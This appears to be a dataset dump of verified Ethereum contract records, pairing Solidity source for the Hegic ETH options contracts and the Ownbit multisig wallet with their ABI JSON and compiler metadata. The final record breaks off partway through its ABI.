HegicETHPool | contracts/HegicOptions.sol | 0xada5688293de408a9fa4cb708f9003d140bd99cb | Solidity | /**
* Hegic
* Copyright (C) 2020 Hegic Protocol
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.8;
/**
* @author 0mllwntrmt3
* @title Hegic: On-chain Options Trading Protocol on Ethereum
* @notice Hegic Protocol Options Contract
*/
abstract
contract HegicOptions is Ownable {
using SafeMath for uint256;
address payable public settlementFeeRecipient;
Option[] public options;
uint256 public impliedVolRate;
uint256 internal constant PRICE_DECIMALS = 1e8;
uint256 internal contractCreationTimestamp;
AggregatorInterface public priceProvider;
OptionType private optionType;
event Create(
uint256 indexed id,
address indexed account,
uint256 settlementFee,
uint256 totalFee
);
event Exercise(uint256 indexed id, uint256 profit);
event Expire(uint256 indexed id, uint256 premium);
enum State {Active, Exercised, Expired}
enum OptionType {Put, Call}
struct Option {
State state;
address payable holder;
uint256 strike;
uint256 amount;
uint256 premium;
uint256 expiration;
}
/**
* @param pp The address of ChainLink ETH/USD price feed contract
* @param _type Put or Call type of an option contract
*/
constructor(AggregatorInterface pp, OptionType _type) public {
priceProvider = pp;
optionType = _type;
settlementFeeRecipient = payable(owner());
impliedVolRate = 5500;
contractCreationTimestamp = now;
}
/**
* @notice Used for adjusting the options prices while balancing asset's implied volatility rate
* @param value New IVRate value
*/
function setImpliedVolRate(uint256 value) external onlyOwner {
require(value >= 1000, "ImpliedVolRate limit is too small");
impliedVolRate = value;
}
/**
* @notice Used for changing settlementFeeRecipient
* @param recipient New settlementFee recipient address
*/
function setSettlementFeeRecipient(address payable recipient) external onlyOwner {
require(recipient != address(0));
settlementFeeRecipient = recipient;
}
/**
* @notice Creates a new option
* @param period Option period in seconds (1 days <= period <= 4 weeks)
* @param amount Option amount
* @param strike Strike price of the option
* @return optionID Created option's ID
*/
function create(
uint256 period,
uint256 amount,
uint256 strike
) external payable returns (uint256 optionID) {
(uint256 total, uint256 settlementFee, , ) = fees(
period,
amount,
strike
);
uint256 strikeAmount = strike.mul(amount) / PRICE_DECIMALS;
require(strikeAmount > 0, "Amount is too small");
require(settlementFee < total, "Premium is too small");
require(period >= 1 days, "Period is too short");
require(period <= 4 weeks, "Period is too long");
require(msg.value == total, "Wrong value");
uint256 premium = sendPremium(total.sub(settlementFee));
optionID = options.length;
options.push(
Option(
State.Active,
msg.sender,
strike,
amount,
premium,
now + period
)
);
emit Create(optionID, msg.sender, settlementFee, total);
lockFunds(options[optionID]);
settlementFeeRecipient.transfer(settlementFee);
}
/**
* @notice Exercises an active option
* @param optionID ID of your option
*/
function exercise(uint256 optionID) external {
Option storage option = options[optionID];
require(option.expiration >= now, "Option has expired");
require(option.holder == msg.sender, "Wrong msg.sender");
require(option.state == State.Active, "Wrong state");
option.state = State.Exercised;
uint256 profit = payProfit(option);
emit Exercise(optionID, profit);
}
/**
* @notice Unlocks an array of options
* @param optionIDs array of options
*/
function unlockAll(uint256[] calldata optionIDs) external {
uint arrayLength = optionIDs.length;
for (uint256 i = 0; i < arrayLength; i++) {
unlock(optionIDs[i]);
}
}
/**
* @notice Used for getting the actual options prices
* @param period Option period in seconds (1 days <= period <= 4 weeks)
* @param amount Option amount
* @param strike Strike price of the option
* @return total Total price to be paid
* @return settlementFee Amount to be distributed to the HEGIC token holders
* @return strikeFee Amount that covers the price difference in the ITM options
* @return periodFee Option period fee amount
*/
function fees(
uint256 period,
uint256 amount,
uint256 strike
)
public
view
returns (
uint256 total,
uint256 settlementFee,
uint256 strikeFee,
uint256 periodFee
)
{
uint256 currentPrice = uint256(priceProvider.latestAnswer());
settlementFee = getSettlementFee(amount);
periodFee = getPeriodFee(amount, period, strike, currentPrice);
strikeFee = getStrikeFee(amount, strike, currentPrice);
total = periodFee.add(strikeFee);
}
/**
* @notice Unlock funds locked in the expired options
* @param optionID ID of the option
*/
function unlock(uint256 optionID) public {
Option storage option = options[optionID];
require(option.expiration < now, "Option has not expired yet");
require(option.state == State.Active, "Option is not active");
option.state = State.Expired;
unlockFunds(option);
emit Expire(optionID, option.premium);
}
/**
* @notice Calculates settlementFee
* @param amount Option amount
* @return fee Settlement fee amount
*/
function getSettlementFee(uint256 amount)
internal
pure
returns (uint256 fee)
{
return amount / 100;
}
/**
* @notice Calculates periodFee
* @param amount Option amount
* @param period Option period in seconds (1 days <= period <= 4 weeks)
* @param strike Strike price of the option
* @param currentPrice Current price of ETH
* @return fee Period fee amount
*
* amount < 1e30 |
* impliedVolRate < 1e10| => amount * impliedVolRate * strike < 1e60 < 2^uint256
* strike < 1e20 ($1T) |
*
* in case amount * impliedVolRate * strike >= 2^256
* transaction will be reverted by the SafeMath
*/
function getPeriodFee(
uint256 amount,
uint256 period,
uint256 strike,
uint256 currentPrice
) internal view returns (uint256 fee) {
if (optionType == OptionType.Put)
return amount
.mul(sqrt(period))
.mul(impliedVolRate)
.mul(strike)
.div(currentPrice)
.div(PRICE_DECIMALS);
else
return amount
.mul(sqrt(period))
.mul(impliedVolRate)
.mul(currentPrice)
.div(strike)
.div(PRICE_DECIMALS);
}
/**
* @notice Calculates strikeFee
* @param amount Option amount
* @param strike Strike price of the option
* @param currentPrice Current price of ETH
* @return fee Strike fee amount
*/
function getStrikeFee(
uint256 amount,
uint256 strike,
uint256 currentPrice
) internal view returns (uint256 fee) {
if (strike > currentPrice && optionType == OptionType.Put)
return strike.sub(currentPrice).mul(amount).div(currentPrice);
if (strike < currentPrice && optionType == OptionType.Call)
return currentPrice.sub(strike).mul(amount).div(currentPrice);
return 0;
}
function sendPremium(uint256 amount)
internal
virtual
returns (uint256 locked);
function payProfit(Option memory option)
internal
virtual
returns (uint256 amount);
function lockFunds(Option memory option) internal virtual;
function unlockFunds(Option memory option) internal virtual;
/**
* @return result Square root of the number
*/
function sqrt(uint256 x) private pure returns (uint256 result) {
result = x;
uint256 k = x.add(1).div(2);
while (k < result) (result, k) = (k, x.div(k).add(k).div(2));
}
} | [{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"writeAmount","type":"uint256"}],"name":"Provide","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"writeAmount","type":"uint256"}],"name":"Withdraw","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"availableBalance","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lockedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lockedPremium","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lockupPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"minMint","type":"uint256"}],"name":"provide","outputs":[{"internalType":"uint256","name":"mint","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendPremium","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setLockupPeriod","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"shareOf","outputs":[{"internalType":"uint256","name":"share","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBalance","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unlockPremium","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"maxBurn","type":"uint256"}],"name":"withdraw","outputs":[{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.8+commit.0bbfe453 | true | 200 | Default | GNU GPLv3 | false | ipfs://6f1787b070b5d5f514559c85bcfccb92e3c99798aaeec874003779f2cf8c9bdf |
|||
HegicETHPool | contracts/HegicCallOptions.sol | 0xada5688293de408a9fa4cb708f9003d140bd99cb | Solidity | /**
* Hegic
* Copyright (C) 2020 Hegic Protocol
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.8;
/**
* @author 0mllwntrmt3
* @title Hegic ETH Call Options
* @notice ETH Call Options Contract
*/
contract HegicCallOptions is HegicOptions {
HegicETHPool public pool;
/**
* @param _priceProvider The address of ChainLink ETH/USD price feed contract
*/
constructor(AggregatorInterface _priceProvider)
public
HegicOptions(_priceProvider, HegicOptions.OptionType.Call)
{
pool = new HegicETHPool();
}
/**
* @notice Can be used to update the contract in critical situations in the first 90 days after deployment
*/
function transferPoolOwnership() external onlyOwner {
require(now < contractCreationTimestamp + 90 days);
pool.transferOwnership(owner());
}
/**
* @notice Used for changing the lockup period
* @param value New period value
*/
function setLockupPeriod(uint256 value) external onlyOwner {
require(value <= 60 days, "Lockup period is too large");
pool.setLockupPeriod(value);
}
/**
* @notice Sends premiums to the ETH liquidity pool contract
* @param amount The amount of premiums that will be sent to the pool
*/
function sendPremium(uint amount) internal override returns (uint locked) {
pool.sendPremium {value: amount}();
locked = amount;
}
/**
* @notice Locks the amount required for an option
* @param option A specific option contract
*/
function lockFunds(Option memory option) internal override {
pool.lock(option.amount);
}
/**
* @notice Sends profits in ETH from the ETH pool to a call option holder's address
* @param option A specific option contract
*/
function payProfit(Option memory option)
internal
override
returns (uint profit)
{
uint currentPrice = uint(priceProvider.latestAnswer());
require(option.strike <= currentPrice, "Current price is too low");
profit = currentPrice.sub(option.strike).mul(option.amount).div(currentPrice);
pool.send(option.holder, profit);
unlockFunds(option);
}
/**
* @notice Unlocks the amount that was locked in a call option contract
* @param option A specific option contract
*/
function unlockFunds(Option memory option) internal override {
pool.unlockPremium(option.premium);
pool.unlock(option.amount);
}
} | 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payable","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendPremium","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setLockupPeriod","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"shareOf","outputs":[{"internalType":"uint256","name":"share","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBalance","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unlockPremium","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"maxBurn","type":"uint256"}],"name":"withdraw","outputs":[{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.8+commit.0bbfe453 | true | 200 | Default | GNU GPLv3 | false | ipfs://6f1787b070b5d5f514559c85bcfccb92e3c99798aaeec874003779f2cf8c9bdf |
|||
HegicETHPool | contracts/HegicPutOptions.sol | 0xada5688293de408a9fa4cb708f9003d140bd99cb | Solidity | /**
* Hegic
* Copyright (C) 2020 Hegic Protocol
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.8;
/**
* @author 0mllwntrmt3
* @title Hegic ETH Put Options
* @notice ETH Put Options Contract
*/
contract HegicPutOptions is HegicOptions {
IUniswapV2Router01 public uniswapRouter;
HegicERCPool public pool;
uint256 public maxSpread = 95;
IERC20 internal token;
/**
* @param _token The address of stable ERC20 token contract
* @param _priceProvider The address of ChainLink ETH/USD price feed contract
* @param _uniswapRouter The address of Uniswap Router contract
*/
constructor(
IERC20 _token,
AggregatorInterface _priceProvider,
IUniswapV2Router01 _uniswapRouter
)
public
HegicOptions(_priceProvider, HegicOptions.OptionType.Put)
{
token = _token;
uniswapRouter = _uniswapRouter;
pool = new HegicERCPool(token);
approve();
}
/**
* @notice Can be used to update the contract in critical situations
* in the first 90 days after deployment
*/
function transferPoolOwnership() external onlyOwner {
require(now < contractCreationTimestamp + 90 days);
pool.transferOwnership(owner());
}
/**
* @notice Used for adjusting the spread limit
* @param value New maxSpread value
*/
function setMaxSpread(uint256 value) external onlyOwner {
require(value <= 95, "Spread limit is too small");
maxSpread = value;
}
/**
* @notice Used for changing the lockup period
* @param value New period value
*/
function setLockupPeriod(uint256 value) external onlyOwner {
require(value <= 60 days, "Lockup period is too large");
pool.setLockupPeriod(value);
}
/**
* @notice Allows the ERC pool contract to receive and send tokens
*/
function approve() public {
require(
token.approve(address(pool), uint256(-1)),
"token approve failed"
);
}
/**
* @notice Sends premiums to the ERC liquidity pool contract
*/
function sendPremium(uint256 amount) internal override returns (uint premium) {
uint currentPrice = uint(priceProvider.latestAnswer());
address[] memory path = new address[](2);
path[0] = uniswapRouter.WETH();
path[1] = address(token);
uint[] memory amounts = uniswapRouter.swapExactETHForTokens {
value: amount
}(
amount.mul(currentPrice).mul(maxSpread).div(1e10),
path,
address(this),
now
);
premium = amounts[amounts.length - 1];
pool.sendPremium(premium);
}
/**
* @notice Locks the amount required for an option
* @param option A specific option contract
*/
function lockFunds(Option memory option) internal override {
pool.lock(option.amount.mul(option.strike).div(PRICE_DECIMALS));
}
/**
* @notice Sends profits in DAI from the ERC pool to a put option holder's address
* @param option A specific option contract
*/
function payProfit(Option memory option) internal override returns (uint profit) {
uint currentPrice = uint(priceProvider.latestAnswer());
require(option.strike >= currentPrice, "Current price is too high");
profit = option.strike.sub(currentPrice).mul(option.amount).div(PRICE_DECIMALS);
pool.send(option.holder, profit);
unlockFunds(option);
}
/**
* @notice Unlocks the amount that was locked in a put option contract
* @param option A specific option contract
*/
function unlockFunds(Option memory option) internal override {
pool.unlockPremium(option.premium);
pool.unlock(option.amount.mul(option.strike).div(PRICE_DECIMALS));
}
}
// File: test/Import.flat | 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payable","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendPremium","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setLockupPeriod","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"shareOf","outputs":[{"internalType":"uint256","name":"share","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBalance","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unlockPremium","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"maxBurn","type":"uint256"}],"name":"withdraw","outputs":[{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.8+commit.0bbfe453 | true | 200 | Default | GNU GPLv3 | false | ipfs://6f1787b070b5d5f514559c85bcfccb92e3c99798aaeec874003779f2cf8c9bdf |
|||
OwnbitMultiSig | OwnbitMultiSig.sol | 0x18f5437253ca0ef3ed3ed433771ebe0a6c66003e | Solidity | pragma solidity ^0.4.26;
// This is the ETH/ERC20 multisig contract for Ownbit.
//
// For 2-of-3 multisig, to authorize a spend, two signtures must be provided by 2 of the 3 owners.
// To generate the message to be signed, provide the destination address and
// spend amount (in wei) to the generateMessageToSign method.
// The signatures must be provided as the (v, r, s) hex-encoded coordinates.
// The S coordinate must be 0x00 or 0x01 corresponding to 0x1b and 0x1c, respectively.
//
// WARNING: The generated message is only valid until the next spend is executed.
// after that, a new message will need to be calculated.
//
//
// INFO: This contract is ERC20 compatible.
// This contract can both receive ETH and ERC20 tokens.
// Notice that NFT (ERC721/ERC1155) is not supported.
interface Erc20 {
function approve(address, uint256) public;
function transfer(address, uint256) public;
//function balanceOf(address) view public returns (uint256);
}
contract OwnbitMultiSig {
uint constant public MAX_OWNER_COUNT = 9;
// The N addresses which control the funds in this contract. The
// owners of M of these addresses will need to both sign a message
// allowing the funds in this contract to be spent.
mapping(address => bool) private isOwner;
address[] private owners;
uint private required;
// The contract nonce is not accessible to the contract so we
// implement a nonce-like variable for replay protection.
uint256 private spendNonce = 0;
// An event sent when funds are received.
event Funded(address from, uint value);
// An event sent when a spend is triggered to the given address.
event Spent(address to, uint transfer);
// An event sent when a spendERC20 is triggered to the given address.
event SpentERC20(address erc20contract, address to, uint transfer);
// An event sent when an spendAny is executed.
event SpentAny(address to, uint transfer);
modifier validRequirement(uint ownerCount, uint _required) {
require (ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required >= 1);
_;
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] _owners, uint _required) public validRequirement(_owners.length, _required) {
for (uint i = 0; i < _owners.length; i++) {
//onwer should be distinct, and non-zero
if (isOwner[_owners[i]] || _owners[i] == address(0x0)) {
revert();
}
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
// The fallback function for this contract.
function() public payable {
if (msg.value > 0) {
emit Funded(msg.sender, msg.value);
}
}
// @dev Returns list of owners.
// @return List of owner addresses.
function getOwners() public view returns (address[]) {
return owners;
}
function getSpendNonce() public view returns (uint256) {
return spendNonce;
}
function getRequired() public view returns (uint) {
return required;
}
// Generates the message to sign given the output destination address and amount.
// includes this contract's address and a nonce for replay protection.
// One option to independently verify: https://leventozturk.com/engineering/sha3/ and select keccak
function generateMessageToSign(address erc20Contract, address destination, uint256 value) private view returns (bytes32) {
//the sequence should match generateMultiSigV2 in JS
bytes32 message = keccak256(abi.encodePacked(address(this), erc20Contract, destination, value, spendNonce));
return message;
}
function _messageToRecover(address erc20Contract, address destination, uint256 value) private view returns (bytes32) {
bytes32 hashedUnsignedMessage = generateMessageToSign(erc20Contract, destination, value);
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
return keccak256(abi.encodePacked(prefix, hashedUnsignedMessage));
}
// @destination: the ether receiver address.
// @value: the ether value, in wei.
// @vs, rs, ss: the signatures
function spend(address destination, uint256 value, uint8[] vs, bytes32[] rs, bytes32[] ss) external {
require(destination != address(this), "Not allow sending to yourself");
require(address(this).balance >= value && value > 0, "balance or spend value invalid");
require(_validSignature(address(0x0), destination, value, vs, rs, ss), "invalid signatures");
spendNonce = spendNonce + 1;
//transfer will throw if fails
destination.transfer(value);
emit Spent(destination, value);
}
// @erc20contract: the erc20 contract address.
// @destination: the token receiver address.
// @value: the token value, in token minimum unit.
// @vs, rs, ss: the signatures
function spendERC20(address destination, address erc20contract, uint256 value, uint8[] vs, bytes32[] rs, bytes32[] ss) external {
require(destination != address(this), "Not allow sending to yourself");
//transfer erc20 token
//uint256 tokenValue = Erc20(erc20contract).balanceOf(address(this));
require(value > 0, "Erc20 spend value invalid");
require(_validSignature(erc20contract, destination, value, vs, rs, ss), "invalid signatures");
spendNonce = spendNonce + 1;
// transfer tokens from this contract to the destination address
Erc20(erc20contract).transfer(destination, value);
emit SpentERC20(erc20contract, destination, value);
}
//0x9 is used for spendAny
//be careful with any action, data is not included into signature computation. So any data can be included in spendAny.
//This is usually for some emergent recovery, for example, recovery of NTFs, etc.
//Owners should not generate 0x9 based signatures in normal cases.
function spendAny(address destination, uint256 value, uint8[] vs, bytes32[] rs, bytes32[] ss, bytes data) external {
require(destination != address(this), "Not allow sending to yourself");
require(_validSignature(address(0x9), destination, value, vs, rs, ss), "invalid signatures");
spendNonce = spendNonce + 1;
//transfer tokens from this contract to the destination address
if (destination.call.value(value)(data)) {
emit SpentAny(destination, value);
}
}
// Confirm that the signature triplets (v1, r1, s1) (v2, r2, s2) ...
// authorize a spend of this contract's funds to the given destination address.
function _validSignature(address erc20Contract, address destination, uint256 value, uint8[] vs, bytes32[] rs, bytes32[] ss) private view returns (bool) {
require(vs.length == rs.length);
require(rs.length == ss.length);
require(vs.length <= owners.length);
require(vs.length >= required);
bytes32 message = _messageToRecover(erc20Contract, destination, value);
address[] memory addrs = new address[](vs.length);
for (uint i = 0; i < vs.length; i++) {
//recover the address associated with the public key from elliptic curve signature or return zero on error
addrs[i] = ecrecover(message, vs[i]+27, rs[i], ss[i]);
}
require(_distinctOwners(addrs));
return true;
}
// Confirm the addresses as distinct owners of this contract.
function _distinctOwners(address[] addrs) private view returns (bool) {
if (addrs.length > owners.length) {
return false;
}
for (uint i = 0; i < addrs.length; i++) {
if (!isOwner[addrs[i]]) {
return false;
}
//address should be distinct
for (uint j = 0; j < i; j++) {
if (addrs[i] == addrs[j]) {
return false;
}
}
}
return true;
}
} | [{"constant":false,"inputs":[{"name":"destination","type":"address"},{"name":"erc20contract","type":"address"},{"name":"value","type":"uint256"},{"name":"vs","type":"uint8[]"},{"name":"rs","type":"bytes32[]"},{"name":"ss","type":"bytes32[]"}],"name":"spendERC20","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getRequired","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"destination","type":"address"},{"name":"value","type":"uint256"},{"name":"vs","type":"uint8[]"},{"name":"rs","type":"bytes32[]"},{"name":"ss","type":"bytes32[]"}],"name":"spend","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwners","outputs":[{"name":"","type":"address[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"destination","type":"address"},{"name":"value","type":"uint256"},{"name":"vs","type":"uint8[]"},{"name":"rs","type":"bytes32[]"},{"name":"ss","type":"bytes32[]"},{"name":"data","type":"bytes"}],"name":"spendAny","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getSpendNonce","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"MAX_OWNER_COUNT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_owners","type":"address[]"},{"name":"_required","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"from","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Funded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"to","type":"address"},{"indexed":false,"name":"transfer","type":"uint256"}],"name":"Spent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"erc20contract","type":"address"},{"indexed":false,"name":"to","type":"address"},{"indexed":false,"name":"transfer","type":"uint256"}